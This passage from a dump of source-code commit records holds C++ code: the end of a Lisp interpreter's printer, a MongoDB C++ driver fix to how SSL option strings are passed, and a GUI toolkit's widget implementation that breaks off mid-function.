\"#\\\\space\";\n break;\n case '\\n':\n f << \"#\\\\newline\";\n break;\n default:\n f.write(\"#\\\\\", 2);\n f.put(c);\n }\n }\n}\n \nvoid print_string(ostream& f, const char* str, PrintReadable flag){\n if(flag == PrintReadable::t){\n f << str;\n }else{\n f.put('\\\"');\n for(auto s = str; *s; ++s){\n switch(*s){\n case '\"':\n f.write(\"\\\\\\\"\", 2);\n break;\n case '\\\\':\n f.write(\"\\\\\\\\\", 2);\n break;\n default:\n f.put(*s);\n }\n }\n f.put('\\\"');\n }\n} \n\n\n} \/\/ namespace\n\nvoid print(ostream& f, Lisp_ptr p, PrintReadable flag, int radix){\n switch(p.tag()){\n case Ptr_tag::undefined:\n f << \"#<undefined>\";\n break;\n \n case Ptr_tag::boolean:\n f << ((p.get<bool>()) ? \"#t\" : \"#f\");\n break;\n\n case Ptr_tag::character:\n print_char(f, p.get<char>(), flag);\n break;\n\n case Ptr_tag::cons:\n print_list(f, p, flag);\n break;\n\n case Ptr_tag::symbol: {\n auto sym = p.get<Symbol*>();\n auto interned = vm.symtable->find(sym->name()) != vm.symtable->end();\n if(!interned){\n f << \"#<uninterned '\";\n }\n f << sym->name();\n if(!interned){\n f << \"' \" << reinterpret_cast<void*>(sym) << \">\";\n }\n break;\n }\n\n case Ptr_tag::integer:\n print_integer(f, p.get<int>(), radix);\n break;\n\n case Ptr_tag::rational: {\n auto r = p.get<Rational*>();\n f << r->numerator() << '\/' << r->denominator();\n break;\n }\n\n case Ptr_tag::real:\n f << *p.get<double*>();\n break;\n\n case Ptr_tag::complex: {\n auto z = p.get<Complex*>();\n f << z->real() << showpos << z->imag() << noshowpos;\n }\n break;\n\n case Ptr_tag::string:\n print_string(f, p.get<String*>()->c_str(), flag);\n break;\n\n case Ptr_tag::vector:\n print_vector(f, p.get<Vector*>(), flag);\n break;\n\n case Ptr_tag::syntactic_closure: {\n auto sc = p.get<SyntacticClosure*>();\n if(flag == PrintReadable::t){\n f << \"#<sc [\";\n }\n print(f, sc->expr(), flag);\n if(flag == PrintReadable::t){\n f << \"]>\";\n }\n break;\n }\n\n case Ptr_tag::vm_argcount:\n f << \"#<argcount \" << p.get<int>() << \">\";\n break;\n\n case Ptr_tag::vm_op:\n f << \"#<VMop \" << stringify(p.get<VMop>()) << \">\";\n break;\n\n case Ptr_tag::n_procedure:\n case Ptr_tag::i_procedure:\n case Ptr_tag::continuation:\n case Ptr_tag::syntax_rules:\n f << \"#<procedure [\" << get_procname(p) << \"]>\";\n break;\n\n case Ptr_tag::input_port:\n case Ptr_tag::output_port:\n case Ptr_tag::env:\n f << \"#<\" << stringify(p.tag()) << \" \" << p.get<void*>() << \">\";\n break;\n\n case Ptr_tag::notation:\n f << \"#<\" << stringify(p.tag()) << \" \" << stringify(p.get<Notation>()) << \">\";\n \n default:\n f << \"#<UNKNOWN TYPE \" << static_cast<int>(p.tag()) << \" \" << p.get<void*>() << \">\";\n break;\n }\n}\n\nstd::ostream& operator<<(std::ostream& o, Lisp_ptr p){\n print(o, p, PrintReadable::t);\n return o;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2015 MongoDB Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <mongocxx\/options\/ssl.hpp>\n#include <mongocxx\/private\/libmongoc.hpp>\n\n#include <mongocxx\/config\/private\/prelude.hpp>\n\nnamespace mongocxx {\nMONGOCXX_INLINE_NAMESPACE_BEGIN\nnamespace options {\n\n#if defined(MONGOC_HAVE_SSL)\ninline ::mongoc_ssl_opt_t make_ssl_opts(const ssl& ssl_opts) {\n ::mongoc_ssl_opt_t out;\n if (ssl_opts.pem_file()) {\n out.pem_file = ssl_opts.pem_file()->c_str();\n }\n if (ssl_opts.pem_password()) {\n out.pem_pwd = ssl_opts.pem_password()->c_str();\n }\n if (ssl_opts.ca_file()) {\n out.ca_file = ssl_opts.ca_file()->c_str();\n }\n if (ssl_opts.ca_dir()) {\n out.ca_dir = ssl_opts.ca_dir()->c_str();\n }\n if (ssl_opts.crl_file()) {\n out.crl_file = ssl_opts.crl_file()->c_str();\n }\n if (ssl_opts.allow_invalid_certificates()) {\n out.weak_cert_validation = *(ssl_opts.allow_invalid_certificates());\n }\n return out;\n}\n#endif\n\n} \/\/ namespace options\nMONGOCXX_INLINE_NAMESPACE_END\n} \/\/ namespace mongocxx\n\n#include <mongocxx\/config\/private\/postlude.hpp>\n<commit_msg>CXX-863 Fix c_str() -> terminated().data() in make_ssl_opts<commit_after>\/\/ Copyright 2015 MongoDB Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <mongocxx\/options\/ssl.hpp>\n#include <mongocxx\/private\/libmongoc.hpp>\n\n#include <mongocxx\/config\/private\/prelude.hpp>\n\nnamespace mongocxx {\nMONGOCXX_INLINE_NAMESPACE_BEGIN\nnamespace options {\n\n#if defined(MONGOC_HAVE_SSL)\ninline ::mongoc_ssl_opt_t make_ssl_opts(const ssl& ssl_opts) {\n ::mongoc_ssl_opt_t out{};\n if (ssl_opts.pem_file()) {\n out.pem_file = ssl_opts.pem_file()->terminated().data();\n }\n if (ssl_opts.pem_password()) {\n out.pem_pwd = ssl_opts.pem_password()->terminated().data();\n }\n if (ssl_opts.ca_file()) {\n out.ca_file = ssl_opts.ca_file()->terminated().data();\n }\n if (ssl_opts.ca_dir()) {\n out.ca_dir = ssl_opts.ca_dir()->terminated().data();\n }\n if (ssl_opts.crl_file()) {\n out.crl_file = ssl_opts.crl_file()->terminated().data();\n }\n if (ssl_opts.allow_invalid_certificates()) {\n out.weak_cert_validation = *(ssl_opts.allow_invalid_certificates());\n }\n return out;\n}\n#endif\n\n} \/\/ namespace options\nMONGOCXX_INLINE_NAMESPACE_END\n} \/\/ namespace mongocxx\n\n#include <mongocxx\/config\/private\/postlude.hpp>\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/Morda.hpp\"\n\n#include \"..\/util\/util.hpp\"\n\n#include \"widget.hpp\"\n\n#include \"container.hpp\"\n\n\n\nusing namespace morda;\n\n\nwidget::widget(const puu::forest& desc){\n\tfor(const auto& p : desc){\n\t\tif(!is_property(p)){\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(p.value == \"layout\"){\n\t\t\tthis->layout_desc = p.children;\n\t\t}else if(p.value == \"x\"){\n\t\t\tthis->rectangle.p.x = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"y\"){\n\t\t\tthis->rectangle.p.y = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"dx\"){\n\t\t\tthis->rectangle.d.x = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"dy\"){\n\t\t\tthis->rectangle.d.y = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"id\"){\n\t\t\tthis->id = get_property_value(p).to_string();\n\t\t}else if(p.value == \"name\"){ \/\/TODO: remove deprecated stuff.\n\t\t\tthis->id = get_property_value(p).to_string();\n\t\t\tTRACE_ALWAYS(<< \"DEPRECATED!!! the 'name' attribute is deprecated (used by '\" << this->id << \"'), use 'id' instead\" << std::endl)\n\t\t}else if(p.value == \"clip\"){\n\t\t\tthis->clip_v = get_property_value(p).to_bool();\n\t\t}else if(p.value == \"cache\"){\n\t\t\tthis->cache = get_property_value(p).to_bool();\n\t\t}else if(p.value == \"visible\"){\n\t\t\tthis->isVisible_v = get_property_value(p).to_bool();\n\t\t}else if(p.value == \"enabled\"){\n\t\t\tthis->isEnabled_v = get_property_value(p).to_bool();\n\t\t}\n\t}\n}\n\n\nwidget::widget(const stob::Node* chain) :\n\t\twidget(stob_to_puu(chain))\n{}\n\nwidget::layout_params::layout_params(const puu::forest& desc){\n\tfor(const auto& p : desc){\n\t\tif(!is_property(p)){\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(p.value == \"dx\"){\n\t\t\tthis->dims.x = parse_layout_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"dy\"){\n\t\t\tthis->dims.y = parse_layout_dimension_value(get_property_value(p));\n\t\t}\n\t}\n}\n\n\n\nstd::shared_ptr<Widget> widget::try_get_widget(const std::string& id)noexcept{\n\tif(this->id == id){\n\t\treturn this->sharedFromThis(this);\n\t}\n\treturn nullptr;\n}\n\n\n\nvoid widget::resize(const morda::Vec2r& newDims){\n\tif(this->rectangle.d == newDims){\n\t\tif(this->relayoutNeeded){\n\t\t\tthis->clearCache();\n\t\t\tthis->relayoutNeeded = false;\n\t\t\tthis->lay_out();\n\t\t}\n\t\treturn;\n\t}\n\n\tthis->clearCache();\n\tthis->rectangle.d = newDims;\n\tutki::clampBottom(this->rectangle.d.x, real(0.0f));\n\tutki::clampBottom(this->rectangle.d.y, real(0.0f));\n\tthis->relayoutNeeded = false;\n\tthis->on_resize(); \/\/ call virtual method\n}\n\n\n\nstd::shared_ptr<Widget> widget::remove_from_parent(){\n\tif(!this->parent_v){\n\t\tthrow morda::exception(\"widget::RemoveFromParent(): widget is not added to the parent\");\n\t}\n\tauto ret = this->sharedFromThis(this);\n\tthis->parent_v->erase(this->parent_v->find(this));\n\treturn ret;\n}\n\n\n\nstd::shared_ptr<Widget> widget::replace_by(std::shared_ptr<Widget> w) {\n\tif(!this->parent()){\n\t\tthrow morda::Exc(\"this widget is not added to any parent\");\n\t}\n\n\tthis->parent()->insert(w, this->parent()->find(this));\n\n\tif(w && w->layout_desc.empty()){\n\t\tw->layout_desc = std::move(this->layout_desc);\n\t}\n\n\treturn this->remove_from_parent();\n}\n\n\n\nvoid widget::invalidate_layout()noexcept{\n\tif(this->relayoutNeeded){\n\t\treturn;\n\t}\n\tthis->relayoutNeeded = true;\n\tif(this->parent_v){\n\t\tthis->parent_v->invalidate_layout();\n\t}\n\tthis->cacheTex.reset();\n}\n\n\n\nvoid widget::renderInternal(const morda::Matr4r& matrix)const{\n\tif(!this->rect().d.isPositive()){\n\t\treturn;\n\t}\n\n\tif(this->cache){\n\t\tif(this->cacheDirty){\n\t\t\tbool scissorTestWasEnabled = morda::inst().renderer().isScissorEnabled();\n\t\t\tmorda::inst().renderer().setScissorEnabled(false);\n\n\t\t\t\/\/check if can re-use old texture\n\t\t\tif(!this->cacheTex || this->cacheTex->dims() != this->rect().d){\n\t\t\t\tthis->cacheTex = this->render_to_texture();\n\t\t\t}else{\n\t\t\t\tASSERT(this->cacheTex->dim() == this->rect().d)\n\t\t\t\tthis->cacheTex = this->render_to_texture(std::move(this->cacheTex));\n\t\t\t}\n\n\t\t\tmorda::inst().renderer().setScissorEnabled(scissorTestWasEnabled);\n\t\t\tthis->cacheDirty = false;\n\t\t}\n\n\t\t\/\/After rendering to texture it is most likely there will be transparent areas, so enable simple blending\n\t\tapplySimpleAlphaBlending();\n\n\t\tthis->renderFromCache(matrix);\n\t}else{\n\t\tif(this->clip_v){\n\t\/\/\t\tTRACE(<< \"widget::RenderInternal(): oldScissorBox = \" << Rect2i(oldcissorBox[0], oldcissorBox[1], oldcissorBox[2], oldcissorBox[3]) << std::endl)\n\n\t\t\t\/\/set scissor test\n\t\t\tr4::recti scissor = this->compute_viewport_rect(matrix);\n\n\t\t\tr4::recti oldScissor;\n\t\t\tbool scissorTestWasEnabled = morda::inst().renderer().isScissorEnabled();\n\t\t\tif(scissorTestWasEnabled){\n\t\t\t\toldScissor = morda::inst().renderer().getScissorRect();\n\t\t\t\tscissor.intersect(oldScissor);\n\t\t\t}else{\n\t\t\t\tmorda::inst().renderer().setScissorEnabled(true);\n\t\t\t}\n\n\t\t\tmorda::inst().renderer().setScissorRect(scissor);\n\n\t\t\tthis->render(matrix);\n\n\t\t\tif(scissorTestWasEnabled){\n\t\t\t\tmorda::inst().renderer().setScissorRect(oldScissor);\n\t\t\t}else{\n\t\t\t\tmorda::inst().renderer().setScissorEnabled(false);\n\t\t\t}\n\t\t}else{\n\t\t\tthis->render(matrix);\n\t\t}\n\t}\n\n\t\/\/render border\n#ifdef M_MORDA_RENDER_WIDGET_BORDERS\n\tmorda::ColorPosShader& s = App::inst().shaders.colorPosShader;\n\ts.Bind();\n\tmorda::Matr4r matr(matrix);\n\tmatr.scale(this->rect().d);\n\ts.SetMatrix(matr);\n\n\tif(this->is_hovered()){\n\t\ts.SetColor(r4::vec3f(0, 1, 0));\n\t}else{\n\t\ts.SetColor(r4::vec3f(1, 0, 1));\n\t}\n\ts.render(s.quad01Fan, Shader::EMode::LINE_LOOP);\n#endif\n}\n\nstd::shared_ptr<Texture2D> widget::render_to_texture(std::shared_ptr<Texture2D> reuse) const {\n\tstd::shared_ptr<Texture2D> tex;\n\n\tif(reuse && reuse->dims() == this->rect().d){\n\t\ttex = std::move(reuse);\n\t}else{\n\t\ttex = morda::inst().renderer().factory->createTexture2D(\n\t\t\t\tmorda::Texture2D::TexType_e::RGBA,\n\t\t\t\tthis->rect().d.to<unsigned>(),\n\t\t\t\tnullptr\n\t\t\t);\n\t}\n\n\tauto& r = morda::inst().renderer();\n\n\tASSERT(tex)\n\n\tr.setFramebuffer(r.factory->createFramebuffer(tex));\n\n\/\/\tASSERT_INFO(Render::isBoundFrameBufferComplete(), \"tex.dim() = \" << tex.dim())\n\n\tauto oldViewport = morda::inst().renderer().getViewport();\n\tutki::ScopeExit scopeExit([&oldViewport](){\n\t\tmorda::inst().renderer().setViewport(oldViewport);\n\t});\n\n\tmorda::inst().renderer().setViewport(r4::recti(r4::vec2i(0), this->rect().d.to<int>()));\n\n\tmorda::inst().renderer().clearFramebuffer();\n\n\tMatr4r matrix = morda::inst().renderer().initialMatrix;\n\tmatrix.translate(-1, 1);\n\tmatrix.scale(Vec2r(2.0f, -2.0f).compDivBy(this->rect().d));\n\n\tthis->render(matrix);\n\n\tr.setFramebuffer(nullptr);\n\n\treturn tex;\n}\n\nvoid widget::renderFromCache(const r4::mat4f& matrix) const {\n\tmorda::Matr4r matr(matrix);\n\tmatr.scale(this->rect().d);\n\n\tauto& r = morda::inst().renderer();\n\tASSERT(this->cacheTex)\n\tr.shader->posTex->render(matr, *r.posTexQuad01VAO, *this->cacheTex);\n}\n\nvoid widget::clearCache(){\n\tthis->cacheDirty = true;\n\tif(this->parent_v){\n\t\tthis->parent_v->clearCache();\n\t}\n}\n\n\nvoid widget::onKeyInternal(bool isDown, key keyCode){\n\tif(this->is_interactive()){\n\t\tif(this->on_key(isDown, keyCode)){\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif(this->parent()){\n\t\tthis->parent()->onKeyInternal(isDown, keyCode);\n\t}\n}\n\n\n\nvoid widget::focus()noexcept{\n\/\/\tASSERT(App::inst().thisIsUIThread())\n\n\tif(this->is_focused()){\n\t\treturn;\n\t}\n\n\tMorda::inst().setFocusedWidget(this->sharedFromThis(this));\n}\n\n\n\nvoid widget::unfocus()noexcept{\n\/\/\tASSERT(App::inst().thisIsUIThread())\n\n\tif(!this->is_focused()){\n\t\treturn;\n\t}\n\n\tASSERT(Morda::inst().focusedWidget.lock() && Morda::inst().focusedWidget.lock().operator->() == this)\n\n\tMorda::inst().setFocusedWidget(nullptr);\n}\n\n\n\nr4::recti widget::compute_viewport_rect(const Matr4r& matrix) const noexcept{\n\tr4::recti ret(\n\t\t\t((matrix * Vec2r(0, 0) + Vec2r(1, 1)) \/ 2).compMulBy(morda::inst().renderer().getViewport().d.to<real>()).rounded().to<int>(),\n\t\t\tthis->rect().d.to<int>()\n\t\t);\n\tret.p.y -= ret.d.y;\n\treturn ret;\n}\n\n\nVec2r widget::measure(const morda::Vec2r& quotum) const{\n\tVec2r ret(quotum);\n\tfor(unsigned i = 0; i != ret.size(); ++i){\n\t\tif(ret[i] < 0){\n\t\t\tret[i] = 0;\n\t\t}\n\t}\n\treturn ret;\n}\n\n\nvector2 widget::pos_in_ancestor(vector2 pos, const widget* ancestor) {\n\tif(ancestor == this || !this->parent()){\n\t\treturn pos;\n\t}\n\n\tASSERT(this->parent())\n\n\treturn this->parent()->pos_in_ancestor(this->rect().p + pos, ancestor);\n}\n\n\nwidget::LayoutParams& widget::get_layout_params() {\n\tif(!this->parent()){\n\t\tthrow morda::Exc(\"widget::get_layout_params(): widget is not added to any container, cannot get layout params. In order to get layout params the widget should be added to some container.\");\n\t}\n\n\treturn this->parent()->get_layout_params(*this);\n}\n\n\nconst widget::LayoutParams& widget::get_layout_params()const {\n\tif(!this->parent()){\n\t\tthrow morda::Exc(\"widget::get_layout_params(): widget is not added to any container, cannot get layout params. In order to get layout params the widget should be added to some container.\");\n\t}\n\n\treturn this->parent()->get_layout_params(*this);\n}\n\nWidget& widget::get_widget(const std::string& id) {\n\tauto w = this->try_get_widget(id);\n\tif(!w){\n\t\tstd::stringstream ss;\n\t\tss << \"Widget '\" << id << \"' not found in '\" << this->id << \"'\";\n\t\tthrow utki::not_found(ss.str());\n\t}\n\treturn *w;\n}\n\nvoid widget::set_enabled(bool enable) {\n\/\/\tTRACE(<< \"widget::set_enabled(): enable = \" << enable << \" this->name() = \" << this->name()<< std::endl)\n\tif(this->isEnabled_v == enable){\n\t\treturn;\n\t}\n\n\tthis->isEnabled_v = enable;\n\n\t\/\/Un-hover this widget if it becomes disabled because it is not supposed to receive mouse input.\n\tif(!this->is_enabled()){\n\t\tthis->set_unhovered();\n\t}\n\n\tthis->on_enabled_changed();\n}\n\nvoid widget::set_visible(bool visible) {\n\tthis->isVisible_v = visible;\n\tif (!this->isVisible_v) {\n\t\tthis->set_unhovered();\n\t}\n}\n\nvoid widget::set_unhovered() {\n\tauto hoverSet = std::move(this->hovered);\n\tASSERT(this->hovered.size() == 0)\n\tfor(auto h : hoverSet){\n\t\tthis->on_hover_changed(h);\n\t}\n}\n\n\nvoid widget::set_hovered(bool isHovered, unsigned pointerID) {\n\tif(isHovered == this->is_hovered(pointerID)){\n\t\treturn;\n\t}\n\/\/\tTRACE(<< \"widget::setHovered(): isHovered = \" << isHovered << \" this->name() = \" << this->name() << std::endl)\n\n\tif (isHovered) {\n\t\tASSERT(!this->is_hovered(pointerID))\n\t\tthis->hovered.insert(pointerID);\n\t} else {\n\t\tASSERT(this->is_hovered(pointerID))\n\t\tthis->hovered.erase(pointerID);\n\t}\n\n\tthis->on_hover_changed(pointerID);\n}\n<commit_msg>stuff<commit_after>#include \"..\/Morda.hpp\"\n\n#include \"..\/util\/util.hpp\"\n\n#include \"widget.hpp\"\n\n#include \"container.hpp\"\n\n\n\nusing namespace morda;\n\n\nwidget::widget(const puu::forest& desc){\n\tfor(const auto& p : desc){\n\t\tif(!is_property(p)){\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(p.value == \"layout\"){\n\t\t\tthis->layout_desc = p.children;\n\t\t}else if(p.value == \"x\"){\n\t\t\tthis->rectangle.p.x = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"y\"){\n\t\t\tthis->rectangle.p.y = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"dx\"){\n\t\t\tthis->rectangle.d.x = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"dy\"){\n\t\t\tthis->rectangle.d.y = parse_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"id\"){\n\t\t\tthis->id = get_property_value(p).to_string();\n\t\t}else if(p.value == \"name\"){ \/\/TODO: remove deprecated stuff.\n\t\t\tthis->id = get_property_value(p).to_string();\n\t\t\tTRACE_ALWAYS(<< \"DEPRECATED!!! the 'name' attribute is deprecated (used by '\" << this->id << \"'), use 'id' instead\" << std::endl)\n\t\t}else if(p.value == \"clip\"){\n\t\t\tthis->clip_v = get_property_value(p).to_bool();\n\t\t}else if(p.value == \"cache\"){\n\t\t\tthis->cache = get_property_value(p).to_bool();\n\t\t}else if(p.value == \"visible\"){\n\t\t\tthis->isVisible_v = get_property_value(p).to_bool();\n\t\t}else if(p.value == \"enabled\"){\n\t\t\tthis->isEnabled_v = get_property_value(p).to_bool();\n\t\t}\n\t}\n}\n\n\nwidget::widget(const stob::Node* chain) :\n\t\twidget(stob_to_puu(chain))\n{}\n\nwidget::layout_params::layout_params(const puu::forest& desc){\n\tfor(const auto& p : desc){\n\t\tif(!is_property(p)){\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(p.value == \"dx\"){\n\t\t\tthis->dims.x = parse_layout_dimension_value(get_property_value(p));\n\t\t}else if(p.value == \"dy\"){\n\t\t\tthis->dims.y = parse_layout_dimension_value(get_property_value(p));\n\t\t}\n\t}\n}\n\n\n\nstd::shared_ptr<Widget> widget::try_get_widget(const std::string& id)noexcept{\n\tif(this->id == id){\n\t\treturn this->sharedFromThis(this);\n\t}\n\treturn nullptr;\n}\n\n\n\nvoid widget::resize(const morda::Vec2r& newDims){\n\tif(this->rectangle.d == newDims){\n\t\tif(this->relayoutNeeded){\n\t\t\tthis->clearCache();\n\t\t\tthis->relayoutNeeded = false;\n\t\t\tthis->lay_out();\n\t\t}\n\t\treturn;\n\t}\n\n\tthis->clearCache();\n\tthis->rectangle.d = newDims;\n\tutki::clampBottom(this->rectangle.d.x, real(0.0f));\n\tutki::clampBottom(this->rectangle.d.y, real(0.0f));\n\tthis->relayoutNeeded = false;\n\tthis->on_resize(); \/\/ call virtual method\n}\n\n\n\nstd::shared_ptr<Widget> widget::remove_from_parent(){\n\tif(!this->parent_v){\n\t\tthrow morda::exception(\"widget::RemoveFromParent(): widget is not added to the parent\");\n\t}\n\tauto ret = this->sharedFromThis(this);\n\tthis->parent_v->erase(this->parent_v->find(this));\n\treturn ret;\n}\n\n\n\nstd::shared_ptr<Widget> widget::replace_by(std::shared_ptr<Widget> w) {\n\tif(!this->parent()){\n\t\tthrow morda::Exc(\"this widget is not added to any parent\");\n\t}\n\n\tthis->parent()->insert(w, this->parent()->find(this));\n\n\tif(w && w->layout_desc.empty()){\n\t\tw->layout_desc = std::move(this->layout_desc);\n\t}\n\n\treturn this->remove_from_parent();\n}\n\n\n\nvoid widget::invalidate_layout()noexcept{\n\tif(this->relayoutNeeded){\n\t\treturn;\n\t}\n\tthis->relayoutNeeded = true;\n\tif(this->parent_v){\n\t\tthis->parent_v->invalidate_layout();\n\t}\n\tthis->cacheTex.reset();\n}\n\n\n\nvoid widget::renderInternal(const morda::Matr4r& matrix)const{\n\tif(!this->rect().d.isPositive()){\n\t\treturn;\n\t}\n\n\tif(this->cache){\n\t\tif(this->cacheDirty){\n\t\t\tbool scissorTestWasEnabled = morda::inst().renderer().isScissorEnabled();\n\t\t\tmorda::inst().renderer().setScissorEnabled(false);\n\n\t\t\t\/\/check if can re-use old texture\n\t\t\tif(!this->cacheTex || this->cacheTex->dims() != this->rect().d){\n\t\t\t\tthis->cacheTex = this->render_to_texture();\n\t\t\t}else{\n\t\t\t\tASSERT(this->cacheTex->dims() == this->rect().d)\n\t\t\t\tthis->cacheTex = this->render_to_texture(std::move(this->cacheTex));\n\t\t\t}\n\n\t\t\tmorda::inst().renderer().setScissorEnabled(scissorTestWasEnabled);\n\t\t\tthis->cacheDirty = false;\n\t\t}\n\n\t\t\/\/After rendering to texture it is most likely there will be transparent areas, so enable simple blending\n\t\tapplySimpleAlphaBlending();\n\n\t\tthis->renderFromCache(matrix);\n\t}else{\n\t\tif(this->clip_v){\n\t\/\/\t\tTRACE(<< \"widget::RenderInternal(): oldScissorBox = \" << Rect2i(oldcissorBox[0], oldcissorBox[1], oldcissorBox[2], oldcissorBox[3]) << std::endl)\n\n\t\t\t\/\/set scissor test\n\t\t\tr4::recti scissor = this->compute_viewport_rect(matrix);\n\n\t\t\tr4::recti oldScissor;\n\t\t\tbool scissorTestWasEnabled = morda::inst().renderer().isScissorEnabled();\n\t\t\tif(scissorTestWasEnabled){\n\t\t\t\toldScissor = morda::inst().renderer().getScissorRect();\n\t\t\t\tscissor.intersect(oldScissor);\n\t\t\t}else{\n\t\t\t\tmorda::inst().renderer().setScissorEnabled(true);\n\t\t\t}\n\n\t\t\tmorda::inst().renderer().setScissorRect(scissor);\n\n\t\t\tthis->render(matrix);\n\n\t\t\tif(scissorTestWasEnabled){\n\t\t\t\tmorda::inst().renderer().setScissorRect(oldScissor);\n\t\t\t}else{\n\t\t\t\tmorda::inst().renderer().setScissorEnabled(false);\n\t\t\t}\n\t\t}else{\n\t\t\tthis->render(matrix);\n\t\t}\n\t}\n\n\t\/\/render border\n#ifdef M_MORDA_RENDER_WIDGET_BORDERS\n\tmorda::ColorPosShader& s = App::inst().shaders.colorPosShader;\n\ts.Bind();\n\tmorda::Matr4r matr(matrix);\n\tmatr.scale(this->rect().d);\n\ts.SetMatrix(matr);\n\n\tif(this->is_hovered()){\n\t\ts.SetColor(r4::vec3f(0, 1, 0));\n\t}else{\n\t\ts.SetColor(r4::vec3f(1, 0, 1));\n\t}\n\ts.render(s.quad01Fan, Shader::EMode::LINE_LOOP);\n#endif\n}\n\nstd::shared_ptr<Texture2D> widget::render_to_texture(std::shared_ptr<Texture2D> reuse) const {\n\tstd::shared_ptr<Texture2D> tex;\n\n\tif(reuse && reuse->dims() == this->rect().d){\n\t\ttex = std::move(reuse);\n\t}else{\n\t\ttex = morda::inst().renderer().factory->createTexture2D(\n\t\t\t\tmorda::Texture2D::TexType_e::RGBA,\n\t\t\t\tthis->rect().d.to<unsigned>(),\n\t\t\t\tnullptr\n\t\t\t);\n\t}\n\n\tauto& r = morda::inst().renderer();\n\n\tASSERT(tex)\n\n\tr.setFramebuffer(r.factory->createFramebuffer(tex));\n\n\/\/\tASSERT_INFO(Render::isBoundFrameBufferComplete(), \"tex.dims() = \" << tex.dims())\n\n\tauto oldViewport = morda::inst().renderer().getViewport();\n\tutki::ScopeExit scopeExit([&oldViewport](){\n\t\tmorda::inst().renderer().setViewport(oldViewport);\n\t});\n\n\tmorda::inst().renderer().setViewport(r4::recti(r4::vec2i(0), this->rect().d.to<int>()));\n\n\tmorda::inst().renderer().clearFramebuffer();\n\n\tMatr4r matrix = morda::inst().renderer().initialMatrix;\n\tmatrix.translate(-1, 1);\n\tmatrix.scale(Vec2r(2.0f, -2.0f).compDivBy(this->rect().d));\n\n\tthis->render(matrix);\n\n\tr.setFramebuffer(nullptr);\n\n\treturn tex;\n}\n\nvoid widget::renderFromCache(const r4::mat4f& matrix) const {\n\tmorda::Matr4r matr(matrix);\n\tmatr.scale(this->rect().d);\n\n\tauto& r = morda::inst().renderer();\n\tASSERT(this->cacheTex)\n\tr.shader->posTex->render(matr, *r.posTexQuad01VAO, *this->cacheTex);\n}\n\nvoid widget::clearCache(){\n\tthis->cacheDirty = true;\n\tif(this->parent_v){\n\t\tthis->parent_v->clearCache();\n\t}\n}\n\n\nvoid widget::onKeyInternal(bool isDown, key keyCode){\n\tif(this->is_interactive()){\n\t\tif(this->on_key(isDown, keyCode)){\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif(this->parent()){\n\t\tthis->parent()->onKeyInternal(isDown, keyCode);\n\t}\n}\n\n\n\nvoid widget::focus()noexcept{\n\/\/\tASSERT(App::inst().thisIsUIThread())\n\n\tif(this->is_focused()){\n\t\treturn;\n\t}\n\n\tMorda::inst().setFocusedWidget(this->sharedFromThis(this));\n}\n\n\n\nvoid widget::unfocus()noexcept{\n\/\/\tASSERT(App::inst().thisIsUIThread())\n\n\tif(!this->is_focused()){\n\t\treturn;\n\t}\n\n\tASSERT(Morda::inst().focusedWidget.lock() && Morda::inst().focusedWidget.lock().operator->() == this)\n\n\tMorda::inst().setFocusedWidget(nullptr);\n}\n\n\n\nr4::recti widget::compute_viewport_rect(const Matr4r& matrix) const noexcept{\n\tr4::recti ret(\n\t\t\t((matrix * Vec2r(0, 0) + Vec2r(1, 1)) \/ 2).compMulBy(morda::inst().renderer().getViewport().d.to<real>()).rounded().to<int>(),\n\t\t\tthis->rect().d.to<int>()\n\t\t);\n\tret.p.y -= ret.d.y;\n\treturn ret;\n}\n\n\nVec2r widget::measure(const morda::Vec2r& quotum) const{\n\tVec2r ret(quotum);\n\tfor(unsigned i = 0; i != ret.size(); ++i){\n\t\tif(ret[i] < 0){\n\t\t\tret[i] = 0;\n\t\t}\n\t}\n\treturn ret;\n}\n\n\nvector2 widget::pos_in_ancestor(vector2 pos, const widget* ancestor) {\n\tif(ancestor == this || !this->parent()){\n\t\treturn pos;\n\t}\n\n\tASSERT(this->parent())\n\n\treturn this->parent()->pos_in_ancestor(this->rect().p + pos, ancestor);\n}\n\n\nwidget::LayoutParams& widget::get_layout_params() {\n\tif(!this->parent()){\n\t\tthrow morda::Exc(\"widget::get_layout_params(): widget is not added to any container, cannot get layout params. In order to get layout params the widget should be added to some container.\");\n\t}\n\n\treturn this->parent()->get_layout_params(*this);\n}\n\n\nconst widget::LayoutParams& widget::get_layout_params()const {\n\tif(!this->parent()){\n\t\tthrow morda::Exc(\"widget::get_layout_params(): widget is not added to any container, cannot get layout params. In order to get layout params the widget should be added to some container.\");\n\t}\n\n\treturn 